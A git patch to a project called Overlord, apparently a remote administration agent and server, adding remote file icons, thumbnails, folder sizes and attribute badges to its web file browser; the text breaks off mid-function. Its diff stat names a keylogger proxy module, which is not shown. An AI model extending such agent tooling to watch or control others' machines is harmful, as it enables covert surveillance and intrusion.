From 6dbbedfec1e1d76215b04caab5760622822b6c03 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 17 May 2026 00:51:17 -0500 Subject: [PATCH] file browser 2.0 --- Overlord-Client/cmd/agent/handlers/command.go | 29 ++ .../cmd/agent/handlers/files_extras.go | 174 +++++++ .../cmd/agent/handlers/files_extras_other.go | 13 + .../agent/handlers/files_extras_windows.go | 269 +++++++++++ .../handlers/files_extras_windows_386.go | 24 + .../handlers/files_extras_windows_amd64.go | 24 + .../cmd/agent/handlers/files_windows.go | 5 +- Overlord-Client/cmd/agent/wire/protocol.go | 51 ++ Overlord-Server/public/assets/filebrowser.js | 440 +++++++++++++++++- Overlord-Server/public/filebrowser.html | 13 +- Overlord-Server/src/protocol.ts | 43 +- .../routes/websocket-lifecycle-routes.ts | 3 + .../server/ws-file-process-proxy-keylogger.ts | 33 ++ Overlord-Server/src/wsValidation.ts | 3 + 14 files changed, 1118 insertions(+), 6 deletions(-) create mode 100644 Overlord-Client/cmd/agent/handlers/files_extras.go create mode 100644 Overlord-Client/cmd/agent/handlers/files_extras_other.go create mode 100644 Overlord-Client/cmd/agent/handlers/files_extras_windows.go create mode 100644 Overlord-Client/cmd/agent/handlers/files_extras_windows_386.go create mode 100644 Overlord-Client/cmd/agent/handlers/files_extras_windows_amd64.go diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 52e2c2c..fea9727 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2056,6 +2056,35 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) return HandleFileExecute(ctx, env, cmdID, path) + case "file_icon": + payload, _ := envelope["payload"].(map[string]interface{}) + items := parseIconRequestItems(payload["items"]) + goSafe("file_icon", env.Cancel, func() { + if err := HandleFileIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled { + log.Printf("file_icon error: %v", err) + } + }) + return nil + case "file_thumb": + payload, _ := envelope["payload"].(map[string]interface{}) + items := parseThumbRequestItems(payload["items"]) + goSafe("file_thumb", env.Cancel, func() { + if err := HandleFileThumbnail(ctx, env, cmdID, items); err != nil && err != context.Canceled { + log.Printf("file_thumb error: %v", err) + } + }) + return nil + case "file_dirsize": + path, _ := envelopePayloadString(envelope, "path") + dirsizeCtx, cancel := context.WithCancel(ctx) + registerCancellableCommand(cmdID, cancel) + goSafe("file_dirsize", env.Cancel, func() { + defer unregisterCommand(cmdID) + if err := HandleFolderSize(dirsizeCtx, env, cmdID, path); err != nil && err != context.Canceled { + log.Printf("file_dirsize error: %v", err) + } + }) + return nil case "agent_update": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) diff --git a/Overlord-Client/cmd/agent/handlers/files_extras.go b/Overlord-Client/cmd/agent/handlers/files_extras.go new file mode 100644 index 0000000..860f593 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files_extras.go @@ -0,0 +1,174 @@ +package handlers + +import ( + "context" + "log" + "os" + "path/filepath" + "time" + + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func parseIconRequestItems(raw interface{}) []wire.FileIconRequestItem { + arr, _ := raw.([]interface{}) + out := make([]wire.FileIconRequestItem, 0, len(arr)) + for _, v := range arr { + m := coerceStringMap(v) + if m == nil { + continue + } + key, _ := m["key"].(string) + if key == "" { + continue + } + path, _ := m["path"].(string) + ext, _ := m["ext"].(string) + out = append(out, wire.FileIconRequestItem{Key: key, Path: path, Ext: ext}) + } + return out +} + +func parseThumbRequestItems(raw interface{}) []wire.FileThumbnailRequestItem { + arr, _ := raw.([]interface{}) + out := make([]wire.FileThumbnailRequestItem, 0, len(arr)) + for _, v := range arr { + m := coerceStringMap(v) + if m == nil { + continue + } + key, _ := m["key"].(string) + path, _ := m["path"].(string) + if key == "" || path == "" { + continue + } + size := 0 + switch s := m["size"].(type) { + case float64: + size = int(s) + case int64: + size = int(s) + case uint64: + size = int(s) + case int: + size = s + } + out = append(out, wire.FileThumbnailRequestItem{Key: key, Path: path, Size: size}) + } + return out +} + +func coerceStringMap(v interface{}) map[string]interface{} { + if m, ok := v.(map[string]interface{}); ok { + return m + } + if m, ok := v.(map[interface{}]interface{}); ok { + out := make(map[string]interface{}, len(m)) + for k, val := range m { + if ks, ok := k.(string); ok { + out[ks] = val + } + } + return out + } + return nil +} + +func HandleFileIcon(ctx context.Context, env *agentRuntime.Env, cmdID string, items []wire.FileIconRequestItem) error { + out := make([]wire.FileIconResultItem, 0, len(items)) + for _, item := range items { + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + png, err := extractFileIconPNG(item.Path, item.Ext) + ri := wire.FileIconResultItem{Key: item.Key} + if err != nil { + ri.Error = err.Error() + } else { + ri.PNG = png + } + out = append(out, ri) + } + return wire.WriteMsg(ctx, env.Conn, wire.FileIconResult{ + Type: "file_icon_result", + CommandID: cmdID, + Icons: out, + }) +} + +func HandleFileThumbnail(ctx context.Context, env *agentRuntime.Env, cmdID string, items []wire.FileThumbnailRequestItem) error { + out := make([]wire.FileThumbnailResultItem, 0, len(items)) + for _, item := range items { + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + jpegBytes, w, h, err := extractFileThumbnailJPEG(item.Path, item.Size) + ri := wire.FileThumbnailResultItem{Key: item.Key} + if err != nil { + ri.Error = err.Error() + } else { + ri.JPEG = jpegBytes + ri.W = w + ri.H = h + } + out = append(out, ri) + } + return wire.WriteMsg(ctx, env.Conn, wire.FileThumbnailResult{ + Type: "file_thumb_result", + CommandID: cmdID, + Thumbs: out, + }) +} + +func HandleFolderSize(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { + log.Printf("file_dirsize: %s", path) + + var bytes, files, dirs int64 + lastEmit := time.Now() + + emit := func(done bool, errMsg string) error { + return wire.WriteMsg(ctx, env.Conn, wire.FolderSizeResult{ + Type: "file_dirsize_result", + CommandID: cmdID, + Path: path, + Bytes: bytes, + Files: files, + Dirs: dirs, + Done: done, + Error: errMsg, + }) + } + + walkErr := filepath.Walk(path, func(p string, info os.FileInfo, err error) error { + if err != nil { + return nil // skip unreadable entries + } + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + if info.IsDir() { + dirs++ + } else { + files++ + bytes += info.Size() + } + if time.Since(lastEmit) >= 400*time.Millisecond { + lastEmit = time.Now() + _ = emit(false, "") + } + return nil + }) + + errMsg := "" + if walkErr != nil && walkErr != context.Canceled { + errMsg = walkErr.Error() + } + return emit(true, errMsg) +} diff --git a/Overlord-Client/cmd/agent/handlers/files_extras_other.go b/Overlord-Client/cmd/agent/handlers/files_extras_other.go new file mode 100644 index 0000000..3148dd9 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files_extras_other.go @@ -0,0 +1,13 @@ +//go:build !windows + +package handlers + +import "fmt" + +func extractFileIconPNG(_, _ string) ([]byte, error) { + return nil, fmt.Errorf("file icons only supported on Windows") +} + +func extractFileThumbnailJPEG(_ string, _ int) ([]byte, int, int, error) { + return nil, 0, 0, fmt.Errorf("file thumbnails only supported on Windows") +} diff --git a/Overlord-Client/cmd/agent/handlers/files_extras_windows.go b/Overlord-Client/cmd/agent/handlers/files_extras_windows.go new file mode 100644 index 0000000..4e460ab --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files_extras_windows.go @@ -0,0 +1,269 @@ +//go:build windows +// +build windows + +package handlers + +import ( + "bytes" + "fmt" + "image" + "image/color" + "image/jpeg" + "image/png" + "log" + "runtime" + "strings" + "sync" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + feShell32 = windows.NewLazySystemDLL("shell32.dll") + feOle32 = windows.NewLazySystemDLL("ole32.dll") + pSHGetFileInfoW = feShell32.NewProc("SHGetFileInfoW") + pSHCreateItemFromParsingName = feShell32.NewProc("SHCreateItemFromParsingName") + pCoInitializeEx = feOle32.NewProc("CoInitializeEx") + pCoUninitialize = feOle32.NewProc("CoUninitialize") +) + +const ( + shgfiIcon = 0x000000100 + shgfiSmallIcon = 0x000000001 + shgfiLargeIcon = 0x000000000 + shgfiUseFileAttributes = 0x000000010 + fileAttributeNormal = 0x00000080 + coinitApartmentThreaded = 0x2 + coinitDisableOLE1DDE = 0x4 + + siigbfResizeToFit = 0x00 + siigbfBiggerSizeOk = 0x01 + siigbfMemoryOnly = 0x02 + siigbfIconOnly = 0x04 + siigbfThumbnailOnly = 0x08 + siigbfInCacheOnly = 0x10 +) + +type shFileInfoW struct { + HIcon uintptr + IIcon int32 + DwAttributes uint32 + SzDisplayName [260]uint16 + SzTypeName [80]uint16 +} + +var iidIShellItemImageFactory = windows.GUID{ + Data1: 0xbcc18b79, Data2: 0xba16, Data3: 0x442f, + Data4: [8]byte{0x80, 0xc4, 0x8a, 0x59, 0xc3, 0x0c, 0x46, 0x3b}, +} + +type iShellItemImageFactoryVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + GetImage uintptr +} + +type iShellItemImageFactory struct { + Vtbl *iShellItemImageFactoryVtbl +} + +type comJob struct { + fn func() + done chan struct{} +} + +var ( + comStartOnce sync.Once + comQueue chan comJob +) + +func runOnCOMThread(fn func()) { + comStartOnce.Do(func() { + comQueue = make(chan comJob, 256) + go func() { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + pCoInitializeEx.Call(0, uintptr(coinitApartmentThreaded|coinitDisableOLE1DDE)) + defer pCoUninitialize.Call() + for job := range comQueue { + func() { + defer func() { + if r := recover(); r != nil { + log.Printf("com worker: recovered panic: %v", r) + } + }() + job.fn() + }() + close(job.done) + } + }() + }) + done := make(chan struct{}) + comQueue <- comJob{fn: fn, done: done} + <-done +} + +func hBitmapToRGBA(hBitmap uintptr) *image.RGBA { + var bm bitmapObj + pGetObjectW.Call(hBitmap, unsafe.Sizeof(bm), uintptr(unsafe.Pointer(&bm))) + if bm.BmWidth <= 0 || bm.BmHeight <= 0 { + return nil + } + w := int(bm.BmWidth) + h := int(bm.BmHeight) + + hdc, _, _ := pCreateCompatibleDC.Call(0) + if hdc == 0 { + return nil + } + defer pDeleteDC.Call(hdc) + + bih := bitmapInfoHeader{ + BiSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + BiWidth: int32(w), + BiHeight: -int32(h), + BiPlanes: 1, + BiBitCount: 32, + } + pixels := make([]byte, w*h*4) + pGetDIBits.Call(hdc, hBitmap, 0, uintptr(h), + uintptr(unsafe.Pointer(&pixels[0])), + uintptr(unsafe.Pointer(&bih)), + 0, + ) + + img := image.NewRGBA(image.Rect(0, 0, w, h)) + for y := 0; y < h; y++ { + for x := 0; x < w; x++ { + off := (y*w + x) * 4 + img.SetRGBA(x, y, color.RGBA{ + R: pixels[off+2], + G: pixels[off+1], + B: pixels[off+0], + A: pixels[off+3], + }) + } + } + return img +} + +func extractFileIconPNG(targetPath, ext string) ([]byte, error) { + var queryPath string + flags := uint32(shgfiIcon | shgfiLargeIcon) + if targetPath != "" { + queryPath = targetPath + } else if ext != "" { + queryPath = "x." + strings.TrimPrefix(strings.ToLower(ext), ".") + flags |= shgfiUseFileAttributes + } else { + return nil, fmt.Errorf("path or ext required") + } + + pathPtr, err := windows.UTF16PtrFromString(queryPath) + if err != nil { + return nil, err + } + + var out []byte + var outErr error + runOnCOMThread(func() { + var sfi shFileInfoW + ret, _, _ := pSHGetFileInfoW.Call( + uintptr(unsafe.Pointer(pathPtr)), + uintptr(fileAttributeNormal), + uintptr(unsafe.Pointer(&sfi)), + unsafe.Sizeof(sfi), + uintptr(flags), + ) + if ret == 0 || sfi.HIcon == 0 { + outErr = fmt.Errorf("SHGetFileInfo failed") + return + } + defer pDestroyIcon.Call(sfi.HIcon) + + var ii iconInfo + r, _, _ := pGetIconInfo.Call(sfi.HIcon, uintptr(unsafe.Pointer(&ii))) + if r == 0 { + outErr = fmt.Errorf("GetIconInfo failed") + return + } + if ii.HbmMask != 0 { + defer pDeleteObject.Call(uintptr(ii.HbmMask)) + } + if ii.HbmColor == 0 { + outErr = fmt.Errorf("no color bitmap") + return + } + defer pDeleteObject.Call(uintptr(ii.HbmColor)) + + img := hBitmapToRGBA(uintptr(ii.HbmColor)) + if img == nil { + outErr = fmt.Errorf("bitmap conversion failed") + return + } + + var buf bytes.Buffer + if err := png.Encode(&buf, img); err != nil { + outErr = err + return + } + out = buf.Bytes() + }) + return out, outErr +} + +func extractFileThumbnailJPEG(path string, edge int) ([]byte, int, int, error) { + if edge <= 0 { + edge = 128 + } + pathPtr, err := windows.UTF16PtrFromString(path) + if err != nil { + return nil, 0, 0, err + } + + var out []byte + var outW, outH int + var outErr error + runOnCOMThread(func() { + var itemPtr uintptr + hr, _, _ := pSHCreateItemFromParsingName.Call( + uintptr(unsafe.Pointer(pathPtr)), + 0, + uintptr(unsafe.Pointer(&iidIShellItemImageFactory)), + uintptr(unsafe.Pointer(&itemPtr)), + ) + if hr != 0 || itemPtr == 0 { + outErr = fmt.Errorf("SHCreateItemFromParsingName failed: 0x%x", hr) + return + } + factory := (*iShellItemImageFactory)(unsafe.Pointer(itemPtr)) + defer callRelease(factory.Vtbl.Release, itemPtr) + + flags := uint32(siigbfThumbnailOnly | siigbfBiggerSizeOk) + var hBitmap uintptr + hr2 := callGetImage(factory.Vtbl.GetImage, itemPtr, int32(edge), int32(edge), flags, &hBitmap) + if hr2 != 0 || hBitmap == 0 { + outErr = fmt.Errorf("GetImage failed: 0x%x", hr2) + return + } + defer pDeleteObject.Call(hBitmap) + + img := hBitmapToRGBA(hBitmap) + if img == nil { + outErr = fmt.Errorf("bitmap conversion failed") + return + } + + var buf bytes.Buffer + if err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: 80}); err != nil { + outErr = err + return + } + out = buf.Bytes() + outW = img.Bounds().Dx() + outH = img.Bounds().Dy() + }) + return out, outW, outH, outErr +} diff --git a/Overlord-Client/cmd/agent/handlers/files_extras_windows_386.go b/Overlord-Client/cmd/agent/handlers/files_extras_windows_386.go new file mode 100644 index 0000000..c0ae86d --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files_extras_windows_386.go @@ -0,0 +1,24 @@ +//go:build windows && 386 + +package handlers + +import ( + "syscall" + "unsafe" +) + +func callGetImage(getImageFn, this uintptr, cx, cy int32, flags uint32, hBitmapOut *uintptr) uintptr { + hr, _, _ := syscall.SyscallN( + getImageFn, + this, + uintptr(uint32(cx)), + uintptr(uint32(cy)), + uintptr(flags), + uintptr(unsafe.Pointer(hBitmapOut)), + ) + return hr +} + +func callRelease(releaseFn, this uintptr) { + syscall.SyscallN(releaseFn, this) +} diff --git a/Overlord-Client/cmd/agent/handlers/files_extras_windows_amd64.go b/Overlord-Client/cmd/agent/handlers/files_extras_windows_amd64.go new file mode 100644 index 0000000..1e4f278 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files_extras_windows_amd64.go @@ -0,0 +1,24 @@ +//go:build windows && (amd64 || arm64) + +package handlers + +import ( + "syscall" + "unsafe" +) + +func callGetImage(getImageFn, this uintptr, cx, cy int32, flags uint32, hBitmapOut *uintptr) uintptr { + sizeWord := uintptr(uint64(uint32(cx)) | (uint64(uint32(cy)) << 32)) + hr, _, _ := syscall.SyscallN( + getImageFn, + this, + sizeWord, + uintptr(flags), + uintptr(unsafe.Pointer(hBitmapOut)), + ) + return hr +} + +func callRelease(releaseFn, this uintptr) { + syscall.SyscallN(releaseFn, this) +} diff --git a/Overlord-Client/cmd/agent/handlers/files_windows.go b/Overlord-Client/cmd/agent/handlers/files_windows.go index b774faf..9161eef 100644 --- a/Overlord-Client/cmd/agent/handlers/files_windows.go +++ b/Overlord-Client/cmd/agent/handlers/files_windows.go @@ -7,12 +7,15 @@ import ( "fmt" "os" "os/exec" + "syscall" "overlord-client/cmd/agent/wire" ) func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) { - + if d, ok := info.Sys().(*syscall.Win32FileAttributeData); ok { + entry.Attrs = d.FileAttributes + } } func ChangeFilePermissions(path string, mode string) error { diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 8db01cf..e56bcb9 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -110,6 +110,8 @@ type FileEntry struct { Mode string `msgpack:"mode,omitempty"` Owner string `msgpack:"owner,omitempty"` Group string `msgpack:"group,omitempty"` + // windows file attributes + Attrs uint32 `msgpack:"attrs,omitempty"` } type FileListResult struct { @@ -187,6 +189,55 @@ type FileSearchResult struct { Error string `msgpack:"error,omitempty"` } +type FileIconRequestItem struct { + Key string `msgpack:"key"` + Path string `msgpack:"path,omitempty"` + Ext string `msgpack:"ext,omitempty"` +} + +type FileIconResultItem struct { + Key string `msgpack:"key"` + PNG []byte `msgpack:"png,omitempty"` + Error string `msgpack:"error,omitempty"` +} + +type FileIconResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Icons []FileIconResultItem `msgpack:"icons"` +} + +type FileThumbnailRequestItem struct { + Key string `msgpack:"key"` + Path string `msgpack:"path"` + Size int `msgpack:"size,omitempty"` +} + +type FileThumbnailResultItem struct { + Key string `msgpack:"key"` + JPEG []byte `msgpack:"jpeg,omitempty"` + W int `msgpack:"w,omitempty"` + H int `msgpack:"h,omitempty"` + Error string `msgpack:"error,omitempty"` +} + +type FileThumbnailResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Thumbs []FileThumbnailResultItem `msgpack:"thumbs"` +} + +type FolderSizeResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Path string `msgpack:"path"` + Bytes int64 `msgpack:"bytes"` + Files int64 `msgpack:"files"` + Dirs int64 `msgpack:"dirs"` + Done bool `msgpack:"done"` + Error string `msgpack:"error,omitempty"` +} + type ScriptResult struct { Type string `msgpack:"type"` CommandID string `msgpack:"commandId,omitempty"` diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js index 875253a..7e9d019 100644 --- a/Overlord-Server/public/assets/filebrowser.js +++ b/Overlord-Server/public/assets/filebrowser.js @@ -266,6 +266,15 @@ function handleMessage(msg) { case "file_search_result": handleFileSearchResult(msg); break; + case "file_icon_result": + handleFileIconResult(msg); + break; + case "file_thumb_result": + handleFileThumbResult(msg); + break; + case "file_dirsize_result": + handleFileDirsizeResult(msg); + break; case "command_result": console.log("[DEBUG] Command result:", msg); handleCommandResult(msg); @@ -596,16 +605,389 @@ const FILE_ICON_MAP = { vhd: "fa-compact-disc text-slate-300", vmdk: "fa-compact-disc text-slate-300", }; +// Extensions whose icon depends on the actual file (embedded resources), +// not just the registered shell association. +const SELF_ICONNING_EXTS = new Set(["exe", "ico", "lnk", "dll", "msi", "cpl", "scr"]); +// Extensions we'll request a Windows shell thumbnail for. Skip everything else. +const THUMBNAIL_EXTS = new Set([ + "jpg", "jpeg", "png", "gif", "bmp", "webp", "tif", "tiff", "heic", "heif", + "mp4", "mkv", "mov", "avi", "webm", "m4v", + "pdf", + "docx", "xlsx", "pptx", +]); + +// key → { blobUrl?: string, failed?: boolean, pending?: boolean } +const iconCache = new Map(); +const thumbCache = new Map(); + +// Queues + batching +const iconQueue = []; // {key, path?, ext?} +const thumbQueue = []; // {key, path, size} +const iconCommandsInFlight = new Set(); +const thumbCommandsInFlight = new Set(); +let iconFlushScheduled = false; +let thumbFlushScheduled = false; +const ICON_BATCH_SIZE = 32; +const ICON_BATCH_DELAY_MS = 60; +const THUMB_BATCH_SIZE = 8; +const THUMB_BATCH_DELAY_MS = 80; +const THUMB_EDGE = 96; +const MAX_THUMB_INFLIGHT_COMMANDS = 2; + +function iconCacheKey(entry) { + if (entry.isDir) return null; + const ext = getFileExt(entry.name); + if (!ext) return `ext:_noext`; + if (SELF_ICONNING_EXTS.has(ext)) { + return `path:${entry.path}|${entry.size}|${entry.modTime}`; + } + return `ext:${ext}`; +} + +function thumbCacheKey(entry) { + if (entry.isDir) return null; + const ext = getFileExt(entry.name); + if (!THUMBNAIL_EXTS.has(ext)) return null; + // Skip absurdly large files — Windows providers may bog down. 256MB cap. + if (entry.size > 256 * 1024 * 1024) return null; + return `thumb:${entry.path}|${entry.size}|${entry.modTime}|${THUMB_EDGE}`; +} + +function scheduleIconFlush() { + if (iconFlushScheduled) return; + iconFlushScheduled = true; + setTimeout(flushIconQueue, ICON_BATCH_DELAY_MS); +} + +function flushIconQueue() { + iconFlushScheduled = false; + if (iconQueue.length === 0) return; + const batch = iconQueue.splice(0, ICON_BATCH_SIZE); + const commandId = `icon-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + iconCommandsInFlight.add(commandId); + send({ + type: "command", + commandType: "file_icon", + id: commandId, + payload: { items: batch }, + }); + if (iconQueue.length > 0) scheduleIconFlush(); +} + +function scheduleThumbFlush() { + if (thumbFlushScheduled) return; + if (thumbCommandsInFlight.size >= MAX_THUMB_INFLIGHT_COMMANDS) return; + thumbFlushScheduled = true; + setTimeout(flushThumbQueue, THUMB_BATCH_DELAY_MS); +} + +function flushThumbQueue() { + thumbFlushScheduled = false; + if (thumbQueue.length === 0) return; + if (thumbCommandsInFlight.size >= MAX_THUMB_INFLIGHT_COMMANDS) return; + const batch = thumbQueue.splice(0, THUMB_BATCH_SIZE); + const commandId = `thumb-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + thumbCommandsInFlight.add(commandId); + send({ + type: "command", + commandType: "file_thumb", + id: commandId, + payload: { items: batch }, + }); + if (thumbQueue.length > 0) scheduleThumbFlush(); +} + +function requestIconFor(entry) { + const key = iconCacheKey(entry); + if (!key) return null; + if (iconCache.has(key)) return key; + iconCache.set(key, { pending: true }); + const item = { key }; + if (key.startsWith("path:")) { + item.path = entry.path; + } else { + const ext = getFileExt(entry.name); + if (ext) item.ext = ext; + else item.ext = ""; + } + iconQueue.push(item); + scheduleIconFlush(); + return key; +} + +function requestThumbFor(entry) { + const key = thumbCacheKey(entry); + if (!key) return null; + if (thumbCache.has(key)) return key; + thumbCache.set(key, { pending: true }); + thumbQueue.push({ key, path: entry.path, size: THUMB_EDGE }); + scheduleThumbFlush(); + return key; +} + +function handleFileIconResult(msg) { + if (msg.commandId) iconCommandsInFlight.delete(msg.commandId); + const items = Array.isArray(msg.icons) ? msg.icons : []; + for (const item of items) { + if (!item || !item.key) continue; + const entry = iconCache.get(item.key) || {}; + entry.pending = false; + if (item.png && item.png.length > 0) { + const blob = new Blob([item.png], { type: "image/png" }); + entry.blobUrl = URL.createObjectURL(blob); + } else { + entry.failed = true; + } + iconCache.set(item.key, entry); + applyIconToDom(item.key, entry); + } +} + +function handleFileThumbResult(msg) { + if (msg.commandId) thumbCommandsInFlight.delete(msg.commandId); + // Pump the next thumbnail batch now that there's capacity. + if (thumbQueue.length > 0) scheduleThumbFlush(); + const items = Array.isArray(msg.thumbs) ? msg.thumbs : []; + for (const item of items) { + if (!item || !item.key) continue; + const entry = thumbCache.get(item.key) || {}; + entry.pending = false; + if (item.jpeg && item.jpeg.length > 0) { + const blob = new Blob([item.jpeg], { type: "image/jpeg" }); + entry.blobUrl = URL.createObjectURL(blob); + entry.w = item.w || 0; + entry.h = item.h || 0; + } else { + entry.failed = true; + } + thumbCache.set(item.key, entry); + applyThumbToDom(item.key, entry); + } +} + +function applyIconToDom(key, entry) { + if (!entry || !entry.blobUrl) return; + const escaped = (typeof CSS !== "undefined" && CSS.escape) ? CSS.escape(key) : key.replace(/"/g, '\\"'); + document.querySelectorAll(`[data-icon-key="${escaped}"]`).forEach((el) => { + el.innerHTML = ``; + }); +} + +function applyThumbToDom(key, entry) { + if (!entry || !entry.blobUrl) return; + const escaped = (typeof CSS !== "undefined" && CSS.escape) ? CSS.escape(key) : key.replace(/"/g, '\\"'); + // Thumbs are used by hover-preview popover; just update the popover if it's currently showing this key. + if (currentPopoverKey === key) { + renderQuickLookPopover(currentPopoverEntry, entry.blobUrl, entry.w, entry.h); + } +} + +// Windows FILE_ATTRIBUTE_* flags surfaced as compact badges next to the filename. +const ATTR_READONLY = 0x00000001; +const ATTR_HIDDEN = 0x00000002; +const ATTR_SYSTEM = 0x00000004; +const ATTR_REPARSE_POINT = 0x00000400; +const ATTR_COMPRESSED = 0x00000800; +const ATTR_ENCRYPTED = 0x00004000; + +function renderAttrBadges(attrs) { + if (!attrs || typeof attrs !== "number") return ""; + const pills = []; + const pill = (label, title, cls) => + `${label}`; + if (attrs & ATTR_HIDDEN) pills.push(pill("H", "Hidden", "bg-slate-700 text-slate-300")); + if (attrs & ATTR_SYSTEM) pills.push(pill("S", "System", "bg-red-900/60 text-red-200")); + if (attrs & ATTR_REPARSE_POINT) pills.push(pill("L", "Reparse point / symlink", "bg-indigo-900/60 text-indigo-200")); + if (attrs & ATTR_COMPRESSED) pills.push(pill("C", "NTFS compressed", "bg-blue-900/60 text-blue-200")); + if (attrs & ATTR_ENCRYPTED) pills.push(pill("E", "NTFS encrypted (EFS)", "bg-emerald-900/60 text-emerald-200")); + if (attrs & ATTR_READONLY) pills.push(pill("R", "Read-only", "bg-slate-700 text-slate-300")); + if (pills.length === 0) return ""; + return `${pills.join("")}`; +} + +// ---- Hover-preview / spacebar quicklook popover -------------------------------- +let currentPopoverKey = null; +let currentPopoverEntry = null; +let hoverPreviewTimer = null; +let popoverEl = null; +let lastHoveredRow = null; +let lastHoveredEntry = null; +const HOVER_DELAY_MS = 350; + +function ensurePopover() { + if (popoverEl) return popoverEl; + popoverEl = document.createElement("div"); + popoverEl.id = "file-quicklook-popover"; + popoverEl.style.cssText = "position:fixed;z-index:1500;display:none;pointer-events:none;background:#0f172a;border:1px solid #334155;border-radius:0.5rem;box-shadow:0 10px 25px rgba(0,0,0,.5);padding:0.5rem;max-width:280px;"; + document.body.appendChild(popoverEl); + return popoverEl; +} + +function hideQuickLookPopover() { + if (hoverPreviewTimer) { + clearTimeout(hoverPreviewTimer); + hoverPreviewTimer = null; + } + currentPopoverKey = null; + currentPopoverEntry = null; + if (popoverEl) popoverEl.style.display = "none"; +} + +function renderQuickLookPopover(entry, thumbUrl, w, h) { + if (!entry) return; + const el = ensurePopover(); + const ext = getFileExt(entry.name); + const sizeStr = entry.isDir ? "" : formatBytes(entry.size); + const modStr = new Date(entry.modTime * 1000).toLocaleString(); + let imgHtml = ""; + if (thumbUrl) { + imgHtml = ``; + } else { + const iconKey = iconCacheKey(entry); + const iconEntry = iconKey ? iconCache.get(iconKey) : null; + if (iconEntry && iconEntry.blobUrl) { + imgHtml = ``; + } else { + imgHtml = `
${getFileIcon(entry)}
`; + } + } + el.innerHTML = ` + ${imgHtml} +
${escapeHtml(entry.name)}
+
+ ${entry.isDir ? "Folder" : (ext ? ext.toUpperCase() + " · " : "") + sizeStr} +
+
${modStr}
+ `; + el.style.display = "block"; + positionPopover(el); +} + +function positionPopover(el) { + if (!lastHoveredRow) return; + const rect = lastHoveredRow.getBoundingClientRect(); + const popoverWidth = el.offsetWidth || 280; + const popoverHeight = el.offsetHeight || 320; + let left = rect.right + 12; + let top = rect.top; + if (left + popoverWidth > window.innerWidth - 8) { + left = rect.left - popoverWidth - 12; + } + if (left < 8) left = 8; + if (top + popoverHeight > window.innerHeight - 8) { + top = Math.max(8, window.innerHeight - popoverHeight - 8); + } + el.style.left = `${left}px`; + el.style.top = `${top}px`; +} + +function showQuickLookFor(row, entry, immediate) { + if (!entry) return; + lastHoveredRow = row; + lastHoveredEntry = entry; + const tKey = thumbCacheKey(entry); + currentPopoverKey = tKey; + currentPopoverEntry = entry; + const cached = tKey ? thumbCache.get(tKey) : null; + if (cached && cached.blobUrl) { + renderQuickLookPopover(entry, cached.blobUrl, cached.w, cached.h); + return; + } + // No thumb yet — still show the popover with icon + metadata. + renderQuickLookPopover(entry, null, 0, 0); + // Ensure thumb is queued (createFileRow already did this; no-op if so). + if (tKey) requestThumbFor(entry); +} + +function attachRowQuicklookEvents(row, entry) { + if (entry.isDir) return; // folders: skip hover popover (would just be the icon) + row.addEventListener("mouseenter", () => { + lastHoveredRow = row; + lastHoveredEntry = entry; + if (hoverPreviewTimer) clearTimeout(hoverPreviewTimer); + hoverPreviewTimer = setTimeout(() => showQuickLookFor(row, entry, false), HOVER_DELAY_MS); + }); + row.addEventListener("mouseleave", () => { + hideQuickLookPopover(); + }); +} + +// Spacebar = open quicklook for last-hovered/focused row (Finder style). +window.addEventListener("keydown", (e) => { + if (e.key !== " ") return; + const target = e.target; + // Don't hijack space in inputs/textareas/editor. + if (target && (target.tagName === "INPUT" || target.tagName === "TEXTAREA" || target.isContentEditable)) return; + if (document.querySelector(".file-editor-modal.show")) return; + if (document.querySelector(".file-preview-modal.show")) return; + if (!lastHoveredRow || !lastHoveredEntry) return; + e.preventDefault(); + showQuickLookFor(lastHoveredRow, lastHoveredEntry, true); +}); +window.addEventListener("keyup", (e) => { + if (e.key !== " ") return; + hideQuickLookPopover(); +}); +window.addEventListener("scroll", () => hideQuickLookPopover(), { passive: true }); + +// ---- Folder size -------------------------------------------------------------- +// commandId -> { path, toastId? } +const folderSizeInFlight = new Map(); + +function requestFolderSize(entry) { + if (!entry.isDir) return; + const commandId = `dirsize-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + folderSizeInFlight.set(commandId, { path: entry.path, name: entry.name }); + send({ + type: "command", + commandType: "file_dirsize", + id: commandId, + payload: { path: entry.path }, + }); + notifyToast(`Calculating size of ${entry.name}…`, "info", 2000); +} + +function handleFileDirsizeResult(msg) { + const tracked = msg.commandId ? folderSizeInFlight.get(msg.commandId) : null; + if (!tracked) return; + if 